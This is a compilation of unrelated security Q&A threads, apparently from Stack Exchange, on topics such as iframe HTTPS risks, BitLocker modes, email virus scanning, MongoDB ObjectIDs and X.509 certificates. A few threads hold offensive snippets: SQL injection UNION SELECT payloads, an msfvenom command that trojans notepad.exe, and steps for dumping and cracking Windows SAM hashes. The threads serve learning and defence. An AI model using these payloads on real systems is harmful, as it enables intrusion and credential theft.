Entering sensitive information into non-SSL site that uses secure iFrame There is a website that tenants can use to pay their rent. That website uses an http address but apparently uses a third-party product, which embeds an iframe into the page. The source of that iframe is https and all forms within the page are within that iframe.

I'm wondering what are the security risks of this type of setup for the users.

I would also add that located on the bottom of every page is a "seal" from godaddy that you click on and it provides some security-related information about the iframe source.

My intuition says that is not ideal. For one thing, seeing the browser's address bar unable to provide identity/encryption information is disconcerting. Without viewing the source of the page, how do I know where the iframe content is from? Is relying on the godaddy seal sufficient?

I'm wondering what are the security risks of this type of setup for the users.

It's almost as bad as serving everything over plain HTTP.

You get protection against purely passive listening attacks, but really anyone in the position to do that kind of man-in-the-middle attack is very likely also to be able to do an active attack, changing the content that gets sent back to the browser. That could include changing the iframe src in the unprotected parent page, or injecting some attack script.

In practice the HTTPS-iframe gets you protection from a casual attacker sniffing general traffic, but for any man-in-the-middle targeting the site specifically it is trivial to make the measure ineffective.

It's up to the provider whether they think this barely-more-than-plain-HTTP assurance is suitable for the kind of information that will be entered into the frame - except if that information contains credit card data, in which case they have an obligation to abide by the PCI-DSS rules requiring HTTPS. (Assessors are expected to verify that HTTPS indicators are visible in the browser chrome.)

  seeing the browser's address bar unable to provide identity/encryption information is disconcerting.

Yes - independently of the question of actual security, this is poor perceived-security and may put some users off.

  Without viewing the source of the page, how do I know where the iframe content is from?

Quite. Viewing source/DOM isn't something you can expect an average user to do.

Additionally, even if you verify the iframe is being served using HTTPS, there is nothing stopping the unsecured parent page from interfering with it with 'clickjacking' attacks, for example a keylogging overlay form.

  Is relying on the godaddy seal sufficient?

Seals offer no security, as they are trivially spoof-able. They are nothing but a marketing exercise; CAs should be ashamed of this deliberately misleading behaviour.


Is there a way to prove that a program was executed on my Windows PC? Can I prove that someone used an executable that connected to the Internet (not necessary a harmful one) on my Windows 10 PC? Especially when the program was installed on a removable device such as a USB stick and not on the PC itself?

The only thing that came to mind was the Windows Event Log. But, as far as I know (and tested) programs only write to it if there is some kind of error, or if you let some code write to the log.

Is there a way to prove that a program was executed on my Windows PC?

Regarding program execution: Some programs will copy themselves to a temporary directory on the Windows machine when executed from a USB stick, you could look for a program with the same name in temporary files directory on the computer of interest. You can also look at Windows Registry keys associated with recently executed programs such as "shell\bagMRU." You could also look for "prefetch" files associated with the program being executed.


When can closing port 80 be a problem? Since port 80 is typically used for HTTP must a web server have it open or otherwise configure links to specify a different port (e.g. http://www.example.com:8080/mypage.html)? For example this site doesn't have any port specified in its URL so does that mean the stack exchange web server has port 80 open? Is it seen as a potential security problem because now an attack can be directed at port 80?

For example this site doesn't have any port specified in its URL so does that mean the stack exchange web server has port 80 open?

Yes. If you dont specify a port for the HTTP protocol, port 80 is used. Port 443 is used for SSL.

  Is it seen as a potential security problem because now an attack can be directed at port 80?

Security always comes with tradeoffs. If port 80 weren't open, none of us could see the website. A store with nothing in the register can't be robbed of cash, but it can't make change for purchases either.

Open ports are usually only considered a problem when they're unintentional, unnecessary, or a result of many unsegregated services on one host were a compromise of one service exposing the backend of another service is a risk.

To answer the title line of your question: Closing port 80 is a problem when you want to run a web service unless you're willing to use a non-standard port. In that case, links will need to be re-written if they're not relative links. Absolute links will have to include a non-standard port number.


BitLocker: CBC vs XTS and FIPS 140-2 I have a twofold question, first when choosing between AES-CBC and AES-XTS which is more secure. From my reading XTS is more secure in some respects but not in others when compared to CBC. Second are both modes FIPS 140-2 approved? Related to that question if I am using BitLocker on a virtual machine volume with no TPM, only a password would that still be covered? I looked at the following but it didn't really give an answer.

Is BitLocker on a virtual machine FIPS 140-2 security level 1 compliant?

According to Microsoft Bitlocker is FIPS 140-2 approved when used with AES-256 without the elephant diffuser enabled.  The elephant diffuser is designed to prevent CBC bit-flipping attacks: rather than a bit flip affecting one bit in the subsequent block, it would affect more (50% on average, IIRC).  NIST CSRC also lists both CBC and XTS modes as FIPS 140-2 approved, though it's not clear if this applies to all of Bitlocker.


How can I scan hosted POP3 or IMAP e-mail for viruses? In our company we use a hosting provider for e-mails and it seems they don't scan incoming email against viruses. And our employees does not very careful about attachments... So we deal with virus infections from time to time. (TorrentLocker and Cryptolocker nowadays)

I would like to do virus scan at network level, and I expect this appliance/system to stop infected incoming e-mails which are stored/managed in our hosting providers servers before they can reach our employee computers.

How can I scan hosted incoming POP3 or IMAP e-mail for viruses? Can I use UTM/proxy appliance or software for this purpose (Sophos UTM Essential, Endian etc. there are several free ones for business use)?

Does anyone use such system?

Scanning POP3 traffic for viruses is mostly easy, because the mails are transmitted in full. There are free solutions which can traffic (provided that you have a virus scanner which is mostly not free) and most better (deep inspection) firewalls are able to do this.

IMAP instead is much harder, because mail clients often don't get the full mail at once but only the parts they need at the moment. Typical examples are Thunderbird which gets big attachments in parts and Apple Mail which gets first the mail structure and then each part separately. If you only do passive network analysis (like most firewalls do) you are missing context like the content-transfer-encoding which is important for scanning the attachments.

Therefore lots of firewalls either don't support IMAP at all (like Sophos UTM), have documented limits which point to serious implications in real usage once you understand them (see "Understanding IMAP Antivirus Scanning Limitations" for Juniper Firewalls) or claim to have support for IMAP but probably don't know what they are talking about (or are silent about the limits).
Secure inline IMAP scanning instead needs application level gateways (ALG) which not only inspect traffic but can manipulate it so that they have enough context. The passive deep inspection you have in most NGFW (Next Generation Firewall) or UTM (Unified Threat Management) might be sufficient for demonstrations but not for real life.

Some firewalls don't offer inline IMAP scanning but instead mirror the IMAP accounts, scan new mails and provide the mails with an IMAP server at the firewall itself. In this case the credentials of the original IMAP account need to be stored at the firewall and the user gets different credentials to access the firewalls IMAP server.


Breaking SAM windows password file offline Is it possible to break a Windows encrypted SAM file where passwords are stored if you have the physical drive offline?

Thanks

Yes, you can use the cachedump (to dump cached credentials) and pwdump (to dump password hashes out of the SAM file) in combination with the system hive. You should have access to both files on the hard drive. You can then crack the hashes with hashcat or John the ripper.

See https://tools.kali.org/password-attacks/creddump for more details/examples.


Packet-filtering firewall evasion (Scanning) Context

I'm very familiar with different applications of scanning tools (. . . and you can use -mtu to specify the size of the fragments in nmap . . .) but every piece of information I read about scanning and enumeration seems to always conclude with " . . . but this is only effective against old or poorly configured firewalls . . ."

Question

Where can I get information about some of the more advanced scanning techniques that would be effective against modern, well-configured firewalls?

Post-script

. . . or at least some information on the order of: "regardless of the firewall's configuration or age, X, Y, Z will at the very least give you information about S, R, T, which can be used to discern L, M, and N"

I'm looking for a resource primarily. Books cost $$ and I understand that, so I'm not anti-books.

There are some academic papers on the subject, but they don't tend to address evasion.

The reason you keep seeing the caveat "old and poorly configured" is because it holds pretty true - there is a limited set of 'valid' connections and connection types, and it's entirely possible on modern firewalls, properly configured, to enumerate them all and simply ignore all other types (even if that's not what the user did explicitly).

Cisco IOS, to take the most famous example, is decades old, and TCP/IP just hasn't changed all that much; so there's been an awful lot of time to harden it against unwanted traffic (especially since that's a firewall's core competency).

Additionally, devices are also fast enough now that even very complex rules don't cause much overhead in most installations and so some of the old "packet X takes 50x longer to process than packet Y" indicators just don't work because 50x slower is still faster than the clock on the wire.


Malicious favicon icon? Is it possible for a favicon icon to be malicious so that you get the virus by just looking at the icon in the search results of a search engine like DuckDuckGo that displays the favicon icons for all the results? Or is the image file so small that it is very unlikely that any malicious exploit code could be in there?

At the moment, no.

Icons are data, not code. There is no mechanism to execute malicious code paths due to the contents of an icon, because icons don't get executed, they just get displayed.

That could change. But it would take a vulnerability to make it so. In that event, the "malicious icon" would be tuned to take advantage of the vulnerability in the software that displayed it.

At the moment, there aren't any of those vulnerabilities that we know of, so the term "malicious favicon" doesn't make sense, as there isn't a way to make one malicious.

That doesn't mean that there never will be, but right now there isn't.


Msfpayload: Exe within an exe? So you can use msfpayload or msfvenom to add a payload to an existing exe, most people online seem to use reverse shell. But I was wondering if you could include a custom exe of your own design as a payload. For example, I have "evil_notepad.exe" that I want to add a payload "showanalert.exe". When opened, "showanalert.exe" will be run.

I tried using the command: msfvenom -p generic/custom -f exe -k -x notepad.exe PAYLOADFILE=showanalert.exe  >evil_notepad.exe

Which seemed to work, but caused the program itself to crash when run.
(Which also makes me feel I have made a mistake somewhere.)

Any ideas?

EDIT: Also tried using STDIN for "custom payloads" but whatever I try is apparently an "invalid custom payload"...

Short answer is that you can use your own payload, but that payload has to play nicely with the host exe.

There are numerous tutorials that I encourage you to look at.


SSL Termination within corporate network I know its is advised to encrypt the traffic within the company network.
Should we also stay away from SSL termination after a reverse proxy that's proxies multiple worker nodes on the same LAN?
By SSL termination I mean that the proxy will deal with all the TLS stuff and forward the request afterwards over HTTP. I hope I get that right.

Security is always a balance between risks and needs. TLS terminating reverse proxies are typically put in front of some service on the same machine or to systems in the same LAN. As long as this LAN is sufficiently controlled (i.e. only some system administrators can make changes, no "common" employees have access) the risk can be acceptable. If not one can add an additional TLS connection (or a VPN) between reverse proxy and the final server, but at the cost of a performance impact.


How much can I trust the "factory restore/reset" on a(n) (potentially compromised) android? This question is a simple one: how much can you trust the "factory restore/reset" option on an android device?

If the device has possibly been compromised, is it possible the "factory reset" will be compromised as well, leaving artifacts of the infection after it is run?

If the device has been rooted, or were to be rooted, would this change anything?

(Also, I recently posted this question about whether or not it is possible to backup and android so it can bu run on a virtual machine, if you would like some background on why this might be an issue.)

Might be a dup, see this answer: https://android.stackexchange.com/questions/6541/can-a-factory-reset-fix-malware-problem.

The short answer is that factory reset may not be enough to unroot your system if it has been rooted.


How to make Snort not log sensitive data from the sniffed traffic? I have Snort in my network which I use for IDS and it is residing on a VM that receives all mirrored traffic from the switch. I am having a web applications that users use and they login, operate on their accounts and do a lot of stuff there. The problem because I have port mirroring that sends all the regular traffic to my Snort VM, it is also intercepting users passwords and all other data.

The question I have is how can I stop somehow snort from having access to sensitive data from the traffic? Is this anyway possible? How other companies are doing it?
The problem I have is if someone compromises that Snort VM somehow, or even employee who is responsible for monitoring that VM, then they can access all sensitive data, customers passwords etc.

edit:
Currently user makes an SSL request(regular web application), my loadbalancer does ssl decryption and routes  the traffic to application server. Everything from loadbalancer to application server is unencrypted.

If you are able to define how sensitive data look at the network layer then you might do it. But there is no "sensitive data" flag or similar attached to the packets so usually one can not detect at the network layer what is sensitive or not.

  The problem I have is if someone compromises that Snort VM somehow, or even employee who is responsible for monitoring that VM, then they can access all sensitive data, customers passwords etc.

Even if you don't log the data from Snort the attack scenario is still there because all of these sensitive traffic can be accessed for anybody having access to the VM - even if Snort is not running. If this traffic would not reach the system then Snort would not be able to analyze it.  If it reaches the system others can access it to.

Thus, if you fear that the Snort VM gets compromised somehow then don't forward any sensitive data to it. This of course means that you first have to know what is sensitive and second that you accept that Snort will not be able to analyze this traffic then.


How to remove device from safe list? This morning I logged to gmail from a strange computer. Google recognizes this and goes through three-factor autentication to check it's really myself.

Now I can go to my account from my habitual computer and tell google it was really really myself, or I can tell it it was not myself.

I want to tell google that it was me, but that it should check again the next time someone tries to connect from that computer (3FA and everything).

Is this possible?

First remove access to your account for that device

Now log back in to your Google account. When it asks to not ask for 3FA again for a month, select no.
And now you can go back to your security settings and tell Google that the device is you.


Is it safe to expose MongoDB ObjectID to users (e.g. in URI)? I'm developing a RESTful API using MongoDB as the backend. The easiest thing to do programmatically would be to simply use MongoDB's _id field in the URI, such as:

https://api.example.com/collection/507c7f79bcf86cd7994f6c0e

I know that the ObjectID is based in part on the creation timestamp. Is there anything else an attacker could gain from knowledge of the ObjectID?

According to Mongo's documentation, the following is used to construct an ObjectId:

ObjectId is a 12-byte BSON type, constructed using:

  a 4-byte value representing the seconds since the Unix epoch,
  a 3-byte machine identifier,
  a 2-byte process id, and
  a 3-byte counter, starting with a random value.

So to answer your question,

  Is there anything else an attacker could gain from knowledge of the
  ObjectID?

I would say that it seems like in addition to the time stamp they could also determine the machine identifier, the process id and your counter value.

Make sure that you are protecting yourself against direct object reference attacks (which you should be doing anyway).


Android email encryption Is there a reliable (in terms of security), open-source application for handling (send/receive + en-/decrypt) encrypted emails on Android? Something like TextSecure for emails.

I just found a command line implementation of GPG on f-droid but this is really impractical in everyday use.

There are plenty android applications in the market.

I am using K9 with APG (Android Privacy Guard) and I am very pleased.

K-9 Mail is a free and open source email client for Android devices, that integrates seamlessly with Android Privacy Guard.

Android Privacy Guard (APG) is a free and open source application that lets you encrypt, decrypt and sign files, messages or emails using Public Key Encryption (like OpenPGP) or encrypt/decrypt files or messages with symmetric encryption, securing them with a password.

The use of these two tools allows for easy encrypting and decrypting of email messages.


Why would PayPal send messages from another domain? I have just received a message asking to consent to PayPal policy updates from the domain:

https://epl.paypal-communication.com

The actual link is full of trackers. Given the domain name, it sounds like a routinely email spoof. Also, visiting the domain, you are welcomed by a "503 Service Unavailable" message.

After some investigations,  including whois, the weird domain  seems really linked to PayPal.com. That being the case:

Why should a company (and in particular a company dealing with payments) send messages from another domain?
Why add countless trackers if you can already recognise users from logon?

Should the practice of sending messages from somecompany.com using anothercompany.com become established, it will be virtually impossible to us users telling if a website is legit or a scam.

Should the practice of sending messages from somecompany.com using anothercompany.com become established, it will be virtually impossible to us users telling if a website is legit or a scam.

Unfortunately, this practice is already established - and yes, it makes it very hard to tell legitimate communications from spam. Companies use partners and third parties to handle their email all the time.

  Why should a company (and in particular a company dealing with payments) send messages from another domain?

Because companies outsource non-core functions like marketing to third parties for economic reasons.

  Why add countless trackers if you can already recognise users from logon?

Trackers can provide a lot more psychographic information than logon can, and that information is valuable to marketing departments.


Is checking for reputation of a URL a good approach? Saw some document such as this that mentions the checking of reputation of URL as a means of detecting malware.  I feel that this is something that can be easily exploited by hackers:

When a hacker plans to set up a malicious URL, he will first make the URL benign and ask online services such as virustotal to check its reputation, of course it's all good.  Then he changed the code for the web app (say, a php page) to be malicious.

Wonder if this possibility makes the URL reputation checking less useful.

Checking the reputation of a URL is a useful approach but of course does not cover every malware or phishing URL. URL based filtering is very fast when compared to the analysis of the response payload. This allows for an early and cheap blocking of the access to potential malicious resources and thus might also preserve more resources to deeper analysis of yet unknown sites.

Reputation is commonly not done based on a specific URL but on the site, i.e. if there is a single definite malware infection on this site then the whole site (or sometimes even the IP address) gets a bad reputation. This makes sense because if the attacker manages to have one URL on the site deliver malware then chances are high that the attacker is able to control more than this one URL.

Reputation services can also not simply be tricked by letting somebody like virustotal check the URL or a even the whole site. Instead these reputation services scan the web themselves and also get user input or information about bad sites from analyzing phishing or spam mails. They also include historical information about domains, i.e. how old the domain is, how often the IP addresses have changed in the past etc. One widely used reputation service is Google Safe Browsing which is enabled by default in Chrome and Firefox.

This does not mean that attackers don't try to work around these reputation services because they actually hamper their business. One way is to hack sites with a good reputation and use these for malware distribution. For example Jamie Olivers website was hacked multiple times in 2015 and used to spread malware.


What is the impact of leaving disabled root key on AWS instance? I have a user which, when asked to create an IAM root user account, left the now disabled root key on the instance.

When asked to remove the root key, he said it's disabled now so what's the difference.

I don't want to get into a argument with this guy but was wondering if the community had any cogent thoughts about the impact of leaving a root key on the system when it's disabled?

Thanks!

I'm assuming, you mean an IAM user with admin permissions for the AWS account and not the actual root user (owner) of the account.

In AWS IAM there is a difference between disabling and deleting access keys. You can disable/deactivate or delete them.

Deletion is final and you'll have to create a new set of keys. The old ones cannot be used anymore and they cannot be recreated.

Disabling/Deactivating keys basically means suspending their usage. They can be reactivated and then used again. If they've been compromised in the mean time, then you'll have active compromised keys. This is a problem.

How secure that EC2 instance is, is another matter. But it certainly is not recommended practice to use access keys on an EC2 instance, especially not keys with such large permissions attached. You should create a dedicated role for the instance and assign permissions to the role with least privileges.

Relevant AWS best practices


When encrypting cloud-stored data, is it acceptable to use the user's account password? I'm developing a web service that stores sensitive personal information (such as telephone numbers, addresses, full names, and email addresses) in a database, such that it can be accessed from anywhere with an Internet connection.

As part of this, it's obviously a good idea to be encrypting that data to add security against being hacked. It has to be encryption rather than hashing because the data has to be accessed again.

I would also like to do this encryption such that each user has their own decryption key. This means that even administration can't access the data, which also protects against internal corruption.

Given that I've already got user accounts, is it acceptable to use the user's password as the encryption key? That leaves me with a process like this:

User signs up. Hash their password, as normal.
User creates some entries and saves them.
User signs out. Ask for their password, check it against the stored hash to verify it, then use it to encrypt everything they have in the database.
User signs in. Verify their password, then use it to decrypt everything they have.

Obviously this isn't the best possible security - but are there any major flaws with this method?

If you do the encryption and decryption on the server-side, there is always a chance for an administrator to decrypt the data without the knowledge of the user, by modifying the system so that when a user legitimately decrypts his or her data, the decryption key is stored to be used at the leisure of other interested parties, for instance, in the service of warrants.

That said, the scheme you describe is generally along the lines of how systems like this are in fact built, and in normal use, are reasonably secure.   There are a couple of caveats, or clarifications, however.

You would not use the password directly as a key.   You would use a PBKDF such as bcrypt, scrypt, or PBKDF2 to turn the password into a strong random key using as high a work factor as makes sense for your application.
You would generally not use this key to encrypt the data directly.  You would generate a strong random key on the server that will be the actual data encryption key (DEK).  The key derived from the password will then be used as a key-encryption-key (KEK) to encrypt the DEK.  This way, if a user decides to change their password, you generate a new KEK, and you only have to re-encrypt the DEK, and not all of the data.
With this system, you're not actually required to store a password hash at all.  When a user logs in, you merely need to derive the KEK, decrypt the DEK, and determine if it can correctly decrypt data for the user.  If it can, the password is correct.  If not, it isn't, and you can fail the authentication attempt. This may or may not be desirable depending on the application.


Is a web application being built on an open-source platform less secure because it is open-source? With the recent news that microsoft are releasing the source code for their ASP.NET Web API and web pages 1 I'm wondering,

Does having access to the source code of the underlying libraries a web applicaiton is built upon give a hacker an advantage, i.e. is it less secure than if the hacker didn't have the source?

I'm guessing not, as there are many successful open source web libraries/engines around, but then my question is why is it not an advantage?

1 Note that the source code for ASP.NET MVC has been available since version one.

The key here is that with closed source code, the onus is on protecting that code - attackers may try to steal the code, reverse engineer it, or just attack it. The internal processes should be designed to identify vulnerabilities and fix them, but the numbers are quite skewed:

Attackers: many   Defenders: few

With open source code, there is a slightly increased risk that the attackers may identify new vulnerabilities, but importantly you end up with many more potential defenders identifying code vulnerabilities and informing the code writers:

Attackers: many   Defenders: many

Have a look at this question comparing open and closed source as it may answer all your questions. If it does, we can close this one as a dupe.


Indicator of Compromise - Mozilla Firefox - Malware Redirect I am having a strange issue where dragging and dropping an email onto a Mozilla Firefox window redirects the first tab to one of several websites, and the second tab opens with some text from the message in the address bar.  Been able to repeat this on clean systems.

Am I the only one? Is this an indication of compromise on the host machine?  Recommendations on next steps?  Can you reproduce this issue?  And finally, what's the best method for reporting this issue to Mozilla Firefox support/development?

Dragging:

Redirect:

Second Tab:

I don't think that it has anything to do with malware, from what I see is just another tricky way of getting traffic on the website.

Another tricky way that leads from this website ww9.fromsubjectreceivedsizecategories.com is mistyped domains, which are owned by scammers.

REAL: establishedmen.com
FAKE (mistyped): establishedmem.com

Here is a nice article about it: https://nakedsecurity.sophos.com/typosquatting/


Vuln Web App which includes LDAP Injection? I want to check several techniques for LDAP injection, but I cannot find a vulnerable application (like Webgoat, Hacme etc.) which uses LDAP injection.

Do you know of any vulnerable web application which includes LDAP Injection?
If not, do you know of any other example application that uses LDAP so I can make it vulnerable and test against it?

It is better to learn from a real world vulnerability than one that was engineered.

Bugzilla can be configured to use LDAP for authentication and it was vulnerable to LDAP Injection.  This is ideal because LDAP authentication bypass is the archetypal attack.

In general I recommend searching the CVE database for these types of flaws and then finding the vulnerable version.  This shouldn't be too hard with open source projects, because they usually give you access to source control and there for every version of the application.


Does the number of fingerprints we leave represent a security threat to the banking system? A number of major banks are allowing users to log in to their bank accounts with only fingerprints. It was occurring to me, though: how many fingerprints does the average person leave per day? How difficult would it be to use one of them to access someone's bank account?

Have there been studies done on how often people leave high-quality fingerprints? Has such an attack been attempted (or succeeded) yet?

One counterargument I can see in favor of the security of this scheme is that, if you register the device in advance, this is actually two-factor authentication (because you have the device, and you're using your fingerprint - it's using something you have and something you are). But, cellphones are easy to steal too.

So, my original question still stands: have there been any studies, threat modeling, cases of successful attacks, etc. that indicate how serious this threat is?

Yes, there are a lot of researches, and the last is the most impressive:

  Researchers have shown for years that the popular fingerprint sensors used to guard smartphones can be tricked sometimes, using a lifted print or a person's digitized fingerprint data. But new findings from computer scientists at New York University's Tandon School of Engineering could raise the stakes significantly. The group has developed machine learning methods for generating fake fingerprints — called DeepMasterPrints — that not only dupe smartphone sensors, but can successfully masquerade as prints from numerous different people. Think of it as a skeleton key for fingerprint-protected devices.

So, of course, banks can't rely on fingerprints only, and their threat model should include such cases as well to build defence in depth.


How does Meltdown/Spectre impact Intel SGX? I've been reading about Meltdown and Spectre today, and I'm wondering if they impact Intel SGX enclaves.

Now, my understanding of Meltdown is somewhat hazy, but AFAICT it does not impact secure enclaves, because it relies on the kernel being mapped into the same address space as processes, right? And it seems like Spectre only works to dump memory in the same process, which would mean that SGX enclaves won't leak memory in this case unless they were already compromised.

Is this correct?

Spectre.
Intel SGX enclaves are indeed vulnerable to the Spectre attack as recently shown by researchers [1]. Their sample code manages to read a secret from protected SGX memory.

Update Mar 7th, 2018. Meanhwile, another paper on the matter was published:
SgxPectre Attacks: Leaking Enclave Secrets via Speculative Execution [2].

[1] https://github.com/lsds/spectre-attack-sgx

[2] https://arxiv.org/abs/1802.09085


Any way to obfuscate *when* two end hosts are communicating? Whether or not a connection is encrypted, I'm afraid the time an information is sent from one host to another might reveal too much. And I'm literally talking about the time when pieces of information are sent, and not the information itself.

Are there any way to mask when information is sent across a link?

I'm specifically looking for solutions on how to mask when packets are sent via wi-fi to a host in a LAN. But of course, this problem involves more than just wi-fi, and I acknowledge that others might be interested in a solution in the ballpark of what I need, so I'm keeping this question broad.

I'm also acknowledging that there might only ever be a solution for some types of medium, but not all. If that's the case, I'm open to know about solutions for those mediums as well.

So, you're looking at how to handle basic Traffic Analysis?

The basic countermeasures from Wikipedia (the above link) are exactly what I expected:

"It is difficult to defeat traffic analysis without both encrypting messages and masking the channel. When no actual messages are being sent, the channel can be masked by sending dummy traffic, similar to the encrypted traffic, thereby keeping bandwidth usage constant."

The real answer is to set up constant bidirectional traffic, at a fixed bit rate, all going through your current encryption.

Alternately, if you can handle non-realtime data, then simply set up a schedule.  Transmit exactly N bytes every M time units in each direction, on slightly different schedules.  For instance, machine 1 transmits exactly 8MB at 15 minutes after every hour, and machine 2 transmits exactly 8MB at 45 minutes after every hour, no matter what.

One primitive but easy way to generate the fixed data size is to create a fresh Truecrypt container for every transfer of that size, then dump it over the encrypted link; better ways are no doubt available.

Alternately, change from MB to KB, and from minutes after every hour to seconds after every minute.

You definitely want NTP running properly and reliable on these machines - synchronized clocks are required.


Can app / service provider konw when its user using (selfhost) VPN server? Let's say I setup openVPN at home, then I go out.
I connect my ios with openVPN server at home,  then I download Netflix app. then I turn off location and any necessary tracking feature on ios.  I login with my Netflix account on ios app.
the question is, Can any app know its users using VPN technically? (I think we can Netflix with VPN)  I am just using Netflix to give an example.  Can any app in general is an more interesting question.

I don't know whether the Netflix App is coded to detect your interface, but the information is available and it certainly could know you are using a VPN.
To clarify, based upon a comment: Yes, any app can know it's using a VPN.
I don't think Netflix cares how you use your account, and using a VPN to your house is fundamentally the same as using your direct house WiFi.


After having changed wifi password the client list shows devices, which do not know yet the new password This applies to spectrum provided modem/wifi router Ubee.
My wifi router's client list showed unknown devices. So I changed the password. These unknown devices were still connected (via wifi, not ethernet). And even known devices, which I have not yet been told the new password were still listed in the client list. Rebooting the router or refresh-client-list did not change anything. How can this be?

I'm not particularly familiar with the router model you're working with, but I can think of two possibilities for why this might be, without a vulnerability in the router being involved.

DHCP Leases

One Possibility is that the Client List you're referring to is generated using DHCP Leases. In this case, the device might not actually be connected - just listed for historical reasons.

To summarize (very briefly), a DHCP Lease enables a device to keep the same IP Address on the network as long as the device continues to renew it's association with the network before the Lease expires.

DHCP Leases are usually associated with a few properties of the device, on a list stored by your router. These properties are:

MAC Address (this is usually like the primary key - even if the hostname changes the device will still get the IP Address if the MAC matches)
Hostname
Expiry
Last time the device was connected

So even though you've changed the WiFi password and rebooted the router, the router may have kept the existing Lease list so that when devices reconnect it can remember their IP Addresses.

Guest Network(s)

Another possibility is that the device is connected to a Guest Network. The Guest Network may have a different password - or no password at all. This would leave the device's connection settings unaffected if you change the password on the main network. In this case the device would actually be connected to the WiFi, but would normally not have access to any of the devices on your main (non-guest) network.

Check the device settings for a way to disable guest networks if this is the case. Or you may be able to assign a different password to the Guest Network.

Other Possibilities

Without going into too much detail on these, here's some wild possibilities to look at for diagnosing this issue:

Router Bugs (get latest firmware, check with manufacturer for known issues)
Another WiFi access point connected with Ethernet to your main router. Possibly a range extender? The device may be registered with DHCP to your main router, but connected to a different WiFi Access Point.
If the device you're referring to is a Phone - and a device linked to an account that shares the Phone's KeyChain was already updated - the device could have synced the new password via the system's KeyChain over cellular data. My iPhone does this when I update the password for my network on my MacBook. Could also happen with ChromeBook and Android or two Android devices.
Common for people working in development or IT: If you have Virtual Machines running on your computer (VMWare, VirtualBox, Parallels, Windows Hyper-V, etc.) and the VM is connected in "Bridged" mode, it will acquire a DHCP lease with your router under a virtualized mac address, without needing the WiFi password. The VMs would operate on a low level of the network without being aware of the physical network device on the host machine, because the virtualization software would provide a "virtual" network card.


Sql injection union select giving 500 internal error I am trying to find a POC for an SQLI vulnerability, the backend db is Mysql on ASP.net

using order by works fine, but union select give a 500 internal server error (which produce if there was any other error or miss typed something)

what is the cause of the error and how can I bypass it ?

Just to be clear, are you using the "order by" to get the number of columns and then using that number in your "union select"?

As an example, if there were 7 columns then the correct "union select" would be something like this:

' UNION ALL SELECT 1,database(),3,4,5,6,7 -- -
' UNION ALL SELECT 1,database(),3,4,5,6,7#

Also, the "order by" is used to get the number of columns in that you will increase the "order by #" until you get an error and the number before the error is the number of columns. You probably know this, but wanted to add it.


filtering content in Content disposition header I was reading "The Tangled Web"(A book that I'm enjoying very much) and I have a doubt in the following excerpt taken from it :-

When Handling User-Controlled Filenames in Content-Disposition Headers
 If you do not need non-Latin characters: Strip or substitute any characters except for alpha- numerics, “.”, “-”, and “_”. To protect your users against potentially harmful or deceptive filenames, you may also want to confirm that at least the first character is alphanumeric and substitute all but the rightmost period with something else (e.g., an underscore).
Keep in mind that allowing quotes, semicolons, backslashes, and control characters (0x00–0x1F) will introduce vulnerabilities.
 If you need non-Latin names: You must use RFC 2047, RFC 2231, or URL-style percent encoding in a browser-dependent manner. Make sure to filter out control characters (0x00–0x1F) and escape any semicolons, backslashes, and quotes.

Which are the characters meant to be URL percent encoded?
By "escaping semicolons, backslashes, and quotes", is escaping using backslashes meant?

If you need non-Latin names: You must use RFC 2047, RFC 2231, or URL-style percent encoding in a browser-dependent manner. Make sure to filter out control characters (0x00–0x1F) and escape any semicolons, backslashes, and quotes.

Don't even go there. Hidden behind the words "browser-dependent" is a set of inconsistent and incomplete escaping rules that varies wildly across browsers. Sniffing the browser type and serving up a different encoding for different cases is not really feasible at all... even if you did so (and handled Vary/cache properly to match), there are characters that are impossible to encode for each of the browsers.

  Which are the characters meant to be URL percent encoded?

On IE, ;, " and anything non-ASCII. On any other browser, percent encoding in Content-Disposition is not effective.

  By "escaping semicolons, backslashes, and quotes", is escaping using backslashes meant?

Yes, but only Opera supports this properly IIRC.

Eventually the rules of RFC 6266 will fix this grisly mess, but support isn't there yet. If you want arbitrary Unicode characters in the download filename, the only reliable way of doing it is to put the fake filename in a trailing part of the URL path, UTF-8-URL-encoded (IRI-style) eg.:

http://www.example.com/download.cgi/h%c3%a9llo%20%e6%97%a5%e6%9c%ac.dat

results in download filename héllo 日本.dat.


Is there an index of all md5 collisions? I am about to build a caching system based on md5 to generate file names out of lists of natural numbers. The inputs would be groups like: 1,18,94,100,266,1854.

I know there are some collisions in md5 but in all my reasearch I discovered only 2 of them.
I know the chances to stumble upon one is very unlikely, however I wonder if there is anywhere a list with all of the md5 collisions discovered so far?

See this page for a downloadable implementation of a generator of MD5 collisions, using Klima's method. On a Core2 2.4 GHz CPU, it produces on average one collision every 14 seconds (and that's using only one core; since the research entirely fits L1 cache, it scales optimally on multi-core CPU). I let it run a few weeks, and measured that over more than 100000 collisions.

So no, there's no index of all MD5 collisions. You'd better use a robust hash function. Try SHA-256 first; it is the usual recommendation. If (and only if) you hit an actual, measured performance issue with SHA-256, then you might look for alternate functions (a 2.4 GHZ Core2 CPU could still hash a few millions file names per second, so it takes a rather special situation for SHA-256 to actually have performance issues).


X509 certification and communication I am having trouble understanding the concept of X509 encryption and its application to web service communication.
The situation is that I (client) would like to communicate with another party (server) securely. To do this, the client obtains an X509 certificate from a trusted third-party CA (certificate authority). In this certificate, there is a public key (given by the CA which can be validated by the server to come from CA) shared between client and server and there is a private key which is stored locally on the client.
From my understanding, the only use for the X509 certificate is to verify that a message from client to server can be verified by the server to have come from the client through a digital signature, and there is no encryption that is performed on the message content aside from that required for signing.
For instance, if the client is consuming SOAP web services on the server, then the private key on the client is used to add a digital signature to the request headers which can then be verified on the server, after which point the request is fulfilled.
Please let me know if I am understanding this correctly.

Welcome to security.stackexchange.com.  I think you have a few misunderstandings of how certificates are created, issued, served, and verified.

the client obtains an X509 certificate from a trusted third-party CA

No.  The client obtains the certificate from the server when it connects to the server by https.

In this certificate, there is a public key given by the CA which can be validated by the server to come from CA)

No.  The CA does not issue the public key.  To do that, the CA would also have to know the private key, which would mean that it is no longer private.  Only the server knows the private key.

and there is a private key which is stored locally on the client.

In most cases, No.  Unless the client is using a client certificate (which is not very common) the client does not store a long-term private key, like the server does.
Let's clarify the above before we move on.  Here's how it works:  The server creates a key pair (consisting of a private key and a corresponding public key).  Then the server creates a certificate signing request (CSR), which contains information about the server (such as the FQDN of the server), and the public key.  The server then sends the CSR to a CA, and the CA creates a certificate from the CSR and signs the certificate.  The CA signature on the certificate is to indicate that the CA verified the the server 'is who it says it is' (how they do this is another questions).  Then, the CA sends the signed certificate back to the server.  At this point, the CA is no longer involved.
